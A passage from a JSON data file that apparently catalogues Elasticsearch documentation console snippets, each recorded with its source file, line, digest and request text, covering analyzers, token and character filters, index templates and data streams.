\"tokenizer\" : \"whitespace\",\n \"filter\" : [\"unique\"],\n \"text\" : \"the quick fox jumps the lazy fox\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/unique-tokenfilter.asciidoc","line":95},"digest":"a428d518162918733d49261ffd65cfc1","lang":"console","found":["ruby"],"source":"PUT custom_unique_example\n{\n \"settings\" : {\n \"analysis\" : {\n \"analyzer\" : {\n \"standard_truncate\" : {\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"unique\"]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/unique-tokenfilter.asciidoc","line":130},"digest":"6e1157f3184fa192d47a3d0e3ea17a6c","lang":"console","found":["ruby"],"source":"PUT letter_unique_pos_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"letter_unique_pos\": {\n \"tokenizer\": \"letter\",\n \"filter\": [ \"unique_pos\" ]\n }\n },\n \"filter\": {\n \"unique_pos\": {\n \"type\": \"unique\",\n \"only_on_same_position\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/uppercase-tokenfilter.asciidoc","line":30},"digest":"9f7671119236423e0e40801ef6485af1","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"uppercase\"],\n \"text\" : \"the Quick FoX JUMPs\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/uppercase-tokenfilter.asciidoc","line":92},"digest":"d87cfcc0a297f75ffe646b2e61940d14","lang":"console","found":["ruby"],"source":"PUT uppercase_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_uppercase\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"uppercase\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/word-delimiter-tokenfilter.asciidoc","line":58},"digest":"c42bc6e74afc3d43cd032ec2bfd77385","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"word_delimiter\" ],\n \"text\": \"Neil's-Super-Duper-XL500--42+AutoCoder\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/word-delimiter-tokenfilter.asciidoc","line":148},"digest":"f1d2b8169160adfd27f32988113f0f9f","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"word_delimiter\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/word-delimiter-tokenfilter.asciidoc","line":359},"digest":"3abedc1d68fe1d20621157406b2b1de0","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"my_custom_word_delimiter_filter\" ]\n }\n },\n \"filter\": {\n \"my_custom_word_delimiter_filter\": {\n \"type\": \"word_delimiter\",\n \"type_table\": [ \"- => ALPHA\" ],\n \"split_on_case_change\": false,\n \"split_on_numerics\": false,\n \"stem_english_possessive\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/word-delimiter-graph-tokenfilter.asciidoc","line":47},"digest":"ffcf80e1094aa2d774f56f6b0bc54827","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"word_delimiter_graph\" ],\n \"text\": \"Neil's-Super-Duper-XL500--42+AutoCoder\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/word-delimiter-graph-tokenfilter.asciidoc","line":137},"digest":"a49acb27f56fe799a9b1342f85cba0f3","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"word_delimiter_graph\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/word-delimiter-graph-tokenfilter.asciidoc","line":410},"digest":"4d46e2160784bdf7cce948e9f0d31fc8","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"my_custom_word_delimiter_graph_filter\" ]\n }\n },\n \"filter\": {\n \"my_custom_word_delimiter_graph_filter\": {\n \"type\": \"word_delimiter_graph\",\n \"type_table\": [ \"- => ALPHA\" ],\n \"split_on_case_change\": false,\n \"split_on_numerics\": false,\n \"stem_english_possessive\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/charfilters/htmlstrip-charfilter.asciidoc","line":21},"digest":"affc7ff234dc3acccb2bf7dc51f54813","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"keyword\",\n \"char_filter\": [\n \"html_strip\"\n ],\n \"text\": \"

I'm so happy!

\"\n}"}, {"source_location":{"file":"analysis/charfilters/htmlstrip-charfilter.asciidoc","line":64},"digest":"2879d7bf4167194b102bf97117327164","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"char_filter\": [\n \"html_strip\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/charfilters/htmlstrip-charfilter.asciidoc","line":106},"digest":"2a70194ebd2f01a3229a5092513676b3","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"char_filter\": [\n \"my_custom_html_strip_char_filter\"\n ]\n }\n },\n \"char_filter\": {\n \"my_custom_html_strip_char_filter\": {\n \"type\": \"html_strip\",\n \"escaped_tags\": [\n \"b\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/charfilters/mapping-charfilter.asciidoc","line":26},"digest":"02853293a5b7cd9cc7a886eb413bbeb6","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"keyword\",\n \"char_filter\": [\n {\n \"type\": \"mapping\",\n \"mappings\": [\n \"٠ => 0\",\n \"١ => 1\",\n \"٢ => 2\",\n \"٣ => 3\",\n \"٤ => 4\",\n \"٥ => 5\",\n \"٦ => 6\",\n \"٧ => 7\",\n \"٨ => 8\",\n \"٩ => 9\"\n ]\n }\n ],\n \"text\": \"My license plate is ٢٥٠١٥\"\n}"}, {"source_location":{"file":"analysis/charfilters/mapping-charfilter.asciidoc","line":109},"digest":"4553e0acb6336687d61eaecc73f517b7","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"char_filter\": [\n \"my_mappings_char_filter\"\n ]\n }\n },\n \"char_filter\": {\n \"my_mappings_char_filter\": {\n \"type\": \"mapping\",\n \"mappings\": [\n \":) => _happy_\",\n \":( => _sad_\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/charfilters/mapping-charfilter.asciidoc","line":141},"digest":"6a3f06962cceb3dfd3cd4fb5c679fa75","lang":"console","found":[],"source":"GET /my-index-000001/_analyze\n{\n \"tokenizer\": \"keyword\",\n \"char_filter\": [ \"my_mappings_char_filter\" ],\n \"text\": \"I'm delighted about it :(\"\n}"}, {"source_location":{"file":"analysis/charfilters/pattern-replace-charfilter.asciidoc","line":54},"digest":"25ecfe423548ac1d7cc86de4a18c48c6","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"char_filter\": [\n \"my_char_filter\"\n ]\n }\n },\n \"char_filter\": {\n \"my_char_filter\": {\n \"type\": \"pattern_replace\",\n \"pattern\": \"(\\\\d+)-(?=\\\\d)\",\n \"replacement\": \"$1_\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"My credit card is 123-456-789\"\n}"}, {"source_location":{"file":"analysis/charfilters/pattern-replace-charfilter.asciidoc","line":104},"digest":"a0871be90badeecd2f8d8ec90230e248","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"char_filter\": [\n \"my_char_filter\"\n ],\n \"filter\": [\n \"lowercase\"\n ]\n }\n },\n \"char_filter\": {\n \"my_char_filter\": {\n \"type\": \"pattern_replace\",\n \"pattern\": \"(?<=\\\\p{Lower})(?=\\\\p{Upper})\",\n \"replacement\": \" \"\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"analyzer\": \"my_analyzer\"\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"The fooBarBaz method\"\n}"}, {"source_location":{"file":"analysis/charfilters/pattern-replace-charfilter.asciidoc","line":205},"digest":"7fd2532f4e12e3efbc58af195060b31e","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"text\": \"The fooBarBaz method\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"text\": \"bar\"\n }\n },\n \"highlight\": {\n \"fields\": {\n \"text\": {}\n }\n }\n}"}, {"source_location":{"file":"analysis/charfilters/pattern-replace-charfilter.asciidoc","line":230},"digest":"bed468738fd84c8ceb24fcf1051d071c","lang":"console-result","found":[],"source":"{\n \"timed_out\": false,\n \"took\": $body.took,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.2876821,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 0.2876821,\n \"_source\": {\n \"text\": \"The fooBarBaz method\"\n },\n \"highlight\": {\n \"text\": [\n \"The fooBarBaz method\" <1>\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"analysis/normalizers.asciidoc","line":27},"digest":"966ff3a4c5b61ed1a36d44c17ce06157","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"settings\": {\n \"analysis\": {\n \"char_filter\": {\n \"quote\": {\n \"type\": \"mapping\",\n \"mappings\": [\n \"« => \\\"\",\n \"» => \\\"\"\n ]\n }\n },\n \"normalizer\": {\n \"my_normalizer\": {\n \"type\": \"custom\",\n \"char_filter\": [\"quote\"],\n \"filter\": [\"lowercase\", \"asciifolding\"]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"foo\": {\n \"type\": \"keyword\",\n \"normalizer\": \"my_normalizer\"\n }\n }\n }\n}"}, {"source_location":{"file":"indices/index-templates.asciidoc","line":83},"digest":"e944653610f311fa06148d5b0afdf697","lang":"console","found":["ruby"],"source":"PUT _component_template/component_template1\n{\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n }\n}\n\nPUT _component_template/runtime_component_template\n{\n \"template\": {\n \"mappings\": {\n \"runtime\": { <1>\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": {\n \"source\": \"emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/index-templates.asciidoc","line":120},"digest":"2fa7ded8515b32f26c54394ea598f573","lang":"console","found":["ruby"],"source":"PUT _index_template/template_1\n{\n \"index_patterns\": [\"te*\", \"bar*\"],\n \"template\": {\n \"settings\": {\n \"number_of_shards\": 1\n },\n \"mappings\": {\n \"_source\": {\n \"enabled\": true\n },\n \"properties\": {\n \"host_name\": {\n \"type\": \"keyword\"\n },\n \"created_at\": {\n \"type\": \"date\",\n \"format\": \"EEE MMM dd HH:mm:ss Z yyyy\"\n }\n }\n },\n \"aliases\": {\n \"mydata\": { }\n }\n },\n \"priority\": 500,\n \"composed_of\": [\"component_template1\", \"runtime_component_template\"], <1>\n \"version\": 3,\n \"_meta\": {\n \"description\": \"my custom\"\n }\n}"}, {"source_location":{"file":"indices/simulate-multi-component-templates.asciidoc","line":35},"digest":"caaafef1a76c2bec677704c2dc233218","lang":"console","found":[],"source":"POST /_index_template/_simulate_index/my-index-000001"}, {"source_location":{"file":"indices/simulate-multi-component-templates.asciidoc","line":42},"digest":"0f7aa40ad26d59a9268630b980a3d594","lang":"console","found":[],"source":"POST /_index_template/_simulate/template_1"}, {"source_location":{"file":"indices/simulate-multi-component-templates.asciidoc","line":50},"digest":"bd298b11933605c641626750c981d70b","lang":"console","found":["ruby"],"source":"PUT /_component_template/ct1\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n }\n}\n\nPUT /_component_template/ct2\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_replicas\": 0\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n }\n}\n\nPOST /_index_template/_simulate\n{\n \"index_patterns\": [\"my*\"],\n \"template\": {\n \"settings\" : {\n \"index.number_of_shards\" : 3\n }\n },\n \"composed_of\": [\"ct1\", \"ct2\"]\n}"}, {"source_location":{"file":"indices/simulate-multi-component-templates.asciidoc","line":94},"digest":"f8f399289e0bfadd897e4e8c9d2fd965","lang":"console-result","found":[],"source":"{\n \"template\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_shards\" : \"3\", <1>\n \"number_of_replicas\" : \"0\",\n \"routing\" : {\n \"allocation\" : {\n \"include\" : {\n \"_tier_preference\" : \"data_content\"\n }\n }\n }\n }\n },\n \"mappings\" : {\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\" <2>\n }\n }\n },\n \"aliases\" : { }\n },\n \"overlapping\" : [\n {\n \"name\" : \"template_1\", <3>\n \"index_patterns\" : [\n \"my*\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"indices/ignore-missing-component-templates.asciidoc","line":14},"digest":"657cf67bbc48f3b8c7fa15e275a5ef72","lang":"console","found":["ruby"],"source":"PUT _component_template/logs-foo_component1\n{\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"host.name\": {\n \"type\": \"keyword\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/ignore-missing-component-templates.asciidoc","line":47},"digest":"1b47d988b218ee595430ec91eba91d80","lang":"console","found":["ruby"],"source":"PUT _index_template/logs-foo\n{\n \"index_patterns\": [\"logs-foo-*\"],\n \"data_stream\": { },\n \"composed_of\": [\"logs-foo_component1\", \"logs-foo_component2\"],\n \"ignore_missing_component_templates\": [\"logs-foo_component2\"],\n \"priority\": 500\n}"}, {"source_location":{"file":"indices/ignore-missing-component-templates.asciidoc","line":62},"digest":"1452829804551d2d6acedd4e73b29637","lang":"console","found":["ruby"],"source":"PUT _data_stream/logs-foo-bar"}, {"source_location":{"file":"indices/ignore-missing-component-templates.asciidoc","line":72},"digest":"ce899fcf55da72fc32e623d1ad88b301","lang":"console","found":["ruby"],"source":"PUT _component_template/logs-foo_component2\n{\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"host.ip\": {\n \"type\": \"ip\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/ignore-missing-component-templates.asciidoc","line":91},"digest":"0d59af9dc556dc526b9394051efa800a","lang":"console","found":["ruby"],"source":"POST logs-foo-bar/_rollover"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":48},"digest":"50c2b06ecddb5a4aebd8b78e38af5f1f","lang":"console","found":[],"source":"PUT _ilm/policy/my-lifecycle-policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n },\n \"warm\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"shrink\": {\n \"number_of_shards\": 1\n },\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"cold\": {\n \"min_age\": \"60d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"frozen\": {\n \"min_age\": \"90d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"735d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":137},"digest":"c8210f23c10d0642f24c1e43faa4deda","lang":"console","found":["ruby"],"source":"# Creates a component template for mappings\nPUT _component_template/my-mappings\n{\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\",\n \"format\": \"date_optional_time||epoch_millis\"\n },\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n },\n \"_meta\": {\n \"description\": \"Mappings for @timestamp and message fields\",\n \"my-custom-meta-field\": \"More arbitrary metadata\"\n }\n}\n\n# Creates a component template for index settings\nPUT _component_template/my-settings\n{\n \"template\": {\n \"settings\": {\n \"index.lifecycle.name\": \"my-lifecycle-policy\"\n }\n },\n \"_meta\": {\n \"description\": \"Settings for ILM\",\n \"my-custom-meta-field\": \"More arbitrary metadata\"\n }\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":203},"digest":"c96e5740b79f703c5b77e3ddc9fdf3a0","lang":"console","found":["ruby"],"source":"PUT _index_template/my-index-template\n{\n \"index_patterns\": [\"my-data-stream*\"],\n \"data_stream\": { },\n \"composed_of\": [ \"my-mappings\", \"my-settings\" ],\n \"priority\": 500,\n \"_meta\": {\n \"description\": \"Template for my time series data\",\n \"my-custom-meta-field\": \"More arbitrary metadata\"\n }\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":233},"digest":"ea020ea32d5cd35e577c61a120f92451","lang":"console","found":["ruby"],"source":"PUT my-data-stream/_bulk\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:21:15.000Z\", \"message\": \"192.0.2.42 - - [06/May/2099:16:21:15 +0000] \\\"GET /images/bg.jpg HTTP/1.0\\\" 200 24736\" }\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:25:42.000Z\", \"message\": \"192.0.2.255 - - [06/May/2099:16:25:42 +0000] \\\"GET /favicon.ico HTTP/1.0\\\" 200 3638\" }\n\nPOST my-data-stream/_doc\n{\n \"@timestamp\": \"2099-05-06T16:21:15.000Z\",\n \"message\": \"192.0.2.42 - - [06/May/2099:16:21:15 +0000] \\\"GET /images/bg.jpg HTTP/1.0\\\" 200 24736\"\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":254},"digest":"7741a04e7e621c528cd72848d875776d","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-data-stream"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":329},"digest":"d4b50ae96e541c0031264a10f6afccbf","lang":"console","found":[],"source":"POST _data_stream/_migrate/my-time-series-data"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":353},"digest":"05ba0fdd0215e313ecea8a2f8f5a43b4","lang":"console","found":["ruby"],"source":"GET _data_stream/my-data-stream"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":370},"digest":"2b59b014349d45bf894aca90b2b1fbe0","lang":"console","found":["ruby"],"source":"DELETE _data_stream/my-data-stream"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":61},"digest":"df1336e768fb6fc1826a5afa30a57285","lang":"console","found":["ruby"],"source":"POST /my-data-stream/_doc/\n{\n \"@timestamp\": \"2099-03-08T11:06:07.000Z\",\n \"user\": {\n \"id\": \"8a4f500d\"\n },\n \"message\": \"Login successful\"\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":81},"digest":"fece7c0fe1f7d113aa05ff5346a18aff","lang":"console","found":["ruby"],"source":"PUT /my-data-stream/_bulk?refresh\n{\"create\":{ }}\n{ \"@timestamp\": \"2099-03-08T11:04:05.000Z\", \"user\": { \"id\": \"vlb44hny\" }, \"message\": \"Login attempt failed\" }\n{\"create\":{ }}\n{ \"@timestamp\": \"2099-03-08T11:06:07.000Z\", \"user\": { \"id\": \"8a4f500d\" }, \"message\": \"Login successful\" }\n{\"create\":{ }}\n{ \"@timestamp\": \"2099-03-09T11:07:08.000Z\", \"user\": { \"id\": \"l7gk7f82\" }, \"message\": \"Logout successful\" }"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":111},"digest":"eab3cad0257c539c5efd2689aa52f242","lang":"console","found":["ruby"],"source":"GET /_data_stream/my-data-stream/_stats?human=true"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":126},"digest":"a1ccd51eef37e43c935a047b0ee15daa","lang":"console","found":["ruby"],"source":"POST /my-data-stream/_rollover/"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":132},"digest":"42ba7c1d13aee91fe6f0a8a42c30eb74","lang":"console","found":[],"source":"POST /my-data-stream/_rollover?lazy"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":151},"digest":"0ad86b582aff1235f37ccb2cc90adad5","lang":"console","found":["ruby"],"source":"POST /.ds-my-data-stream-2099.03.07-000001/_open/"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":161},"digest":"fdc8e090293e78e9a6b283650b682517","lang":"console","found":["ruby"],"source":"POST /my-data-stream/_open/"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":199},"digest":"b7a4f5b9a93eff44268a1ee38ee1c6d3","lang":"console","found":["ruby"],"source":"POST /_reindex\n{\n \"source\": {\n \"index\": \"archive\"\n },\n \"dest\": {\n \"index\": \"my-data-stream\",\n \"op_type\": \"create\"\n }\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":221},"digest":"362dfccdb6f7933b22c909542e0b4e0a","lang":"console","found":["ruby"],"source":"POST /my-data-stream/_update_by_query\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"l7gk7f82\"\n }\n },\n \"script\": {\n \"source\": \"ctx._source.user.id = params.new_id\",\n \"params\": {\n \"new_id\": \"XgdX0NoX\"\n }\n }\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":246},"digest":"17fb298fb1e47f7d946a772d68f4e2df","lang":"console","found":["ruby"],"source":"POST /my-data-stream/_delete_by_query\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"vlb44hny\"\n }\n }\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":272},"digest":"53bb7f0e3429861aadb8dd3d588085cd","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_search\n{\n \"seq_no_primary_term\": true,\n \"query\": {\n \"match\": {\n \"user.id\": \"yWIumJd7\"\n }\n }\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":287},"digest":"03c3455dc5b460932b91686f9ea4c306","lang":"console-result","found":[],"source":"{\n \"took\": 20,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 3,\n \"successful\": 3,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.2876821,\n \"hits\": [\n {\n \"_index\": \".ds-my-data-stream-2099.03.08-000003\", <1>\n \"_id\": \"bfspvnIBr7VVZlfp2lqX\", <2>\n \"_seq_no\": 0, <3>\n \"_primary_term\": 1, <4>\n \"_score\": 0.2876821,\n \"_source\": {\n \"@timestamp\": \"2099-03-08T11:06:07.000Z\",\n \"user\": {\n \"id\": \"yWIumJd7\"\n },\n \"message\": \"Login successful\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":336},"digest":"bf448c3889c18266e2e6d3af4f614da2","lang":"console","found":[],"source":"PUT /.ds-my-data-stream-2099-03-08-000003/_doc/bfspvnIBr7VVZlfp2lqX?if_seq_no=0&if_primary_term=1\n{\n \"@timestamp\": \"2099-03-08T11:06:07.000Z\",\n \"user\": {\n \"id\": \"8a4f500d\"\n },\n \"message\": \"Login successful\"\n}"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":354},"digest":"79e053326a3a8eec828523a035393f66","lang":"console","found":["ruby"],"source":"DELETE /.ds-my-data-stream-2099.03.08-000003/_doc/bfspvnIBr7VVZlfp2lqX"}, {"source_location":{"file":"data-streams/use-a-data-stream.asciidoc","line":367},"digest":"ca1cc4bcef22fdf9153833bfe6a55294","lang":"console","found":["ruby"],"source":"PUT /_bulk?refresh\n{ \"index\": { \"_index\": \".ds-my-data-stream-2099.03.08-000003\", \"_id\": \"bfspvnIBr7VVZlfp2lqX\", \"if_seq_no\": 0, \"if_primary_term\": 1 } }\n{ \"@timestamp\": \"2099-03-08T11:06:07.000Z\", \"user\": { \"id\": \"8a4f500d\" }, \"message\": \"Login successful\" }"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":105},"digest":"2e93eaaebf75fa4a2451e8a76ffa9f20","lang":"console","found":[],"source":"PUT /_index_template/my-data-stream-template\n{\n \"index_patterns\": [ \"my-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"message\": { <1>\n \"type\": \"text\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":134},"digest":"3e4227250d49e81df48773f8ba803ea7","lang":"console","found":[],"source":"PUT /my-data-stream/_mapping\n{\n \"properties\": {\n \"message\": {\n \"type\": \"text\"\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":155},"digest":"360b3cef34bbddc5d9579ca95f0cb061","lang":"console","found":[],"source":"PUT /my-data-stream/_mapping?write_index_only=true\n{\n \"properties\": {\n \"message\": {\n \"type\": \"text\"\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":188},"digest":"4be20da16d2b58216e8b307218c7bf3a","lang":"console","found":[],"source":"PUT /_index_template/my-data-stream-template\n{\n \"index_patterns\": [ \"my-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"host\": {\n \"properties\": {\n \"ip\": {\n \"type\": \"ip\",\n \"ignore_malformed\": true <1>\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":223},"digest":"911c56114e50ce7440eb83efc91d28b8","lang":"console","found":["ruby"],"source":"PUT /my-data-stream/_mapping\n{\n \"properties\": {\n \"host\": {\n \"properties\": {\n \"ip\": {\n \"type\": \"ip\",\n \"ignore_malformed\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":249},"digest":"fb1180992b2087dfb36576b44c4261e4","lang":"console","found":["ruby"],"source":"PUT /my-data-stream/_mapping?write_index_only=true\n{\n \"properties\": {\n \"host\": {\n \"properties\": {\n \"ip\": {\n \"type\": \"ip\",\n \"ignore_malformed\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":293},"digest":"46103fee3cd5f53dc75123def82d52ad","lang":"console","found":[],"source":"PUT /_index_template/my-data-stream-template\n{\n \"index_patterns\": [ \"my-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"settings\": {\n \"index.refresh_interval\": \"30s\" <1>\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":318},"digest":"9fa55fc76ec4bd81f372e9389f1da851","lang":"console","found":["ruby"],"source":"PUT /my-data-stream/_settings\n{\n \"index\": {\n \"refresh_interval\": \"30s\"\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":351},"digest":"6843d859e2965d17cad4f033c81db83f","lang":"console","found":[],"source":"PUT /_index_template/my-data-stream-template\n{\n \"index_patterns\": [ \"my-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"settings\": {\n \"sort.field\": [ \"@timestamp\"], <1>\n \"sort.order\": [ \"desc\"] <2>\n }\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":407},"digest":"5f031b7bd2b7d98d2d10df7420d269ff","lang":"console","found":["ruby"],"source":"GET /_resolve/index/new-data-stream*"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":415},"digest":"4a056693dcd998a6b66a73f115d43239","lang":"console-result","found":[],"source":"{\n \"indices\": [ ],\n \"aliases\": [ ],\n \"data_streams\": [ ]\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":454},"digest":"ca08e511e5907d258081b10a1a9f0072","lang":"console","found":["ruby"],"source":"PUT /_index_template/new-data-stream-template\n{\n \"index_patterns\": [ \"new-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date_nanos\" <1>\n }\n }\n },\n \"settings\": {\n \"sort.field\": [ \"@timestamp\"], <2>\n \"sort.order\": [ \"desc\"] <3>\n }\n }\n}"}, 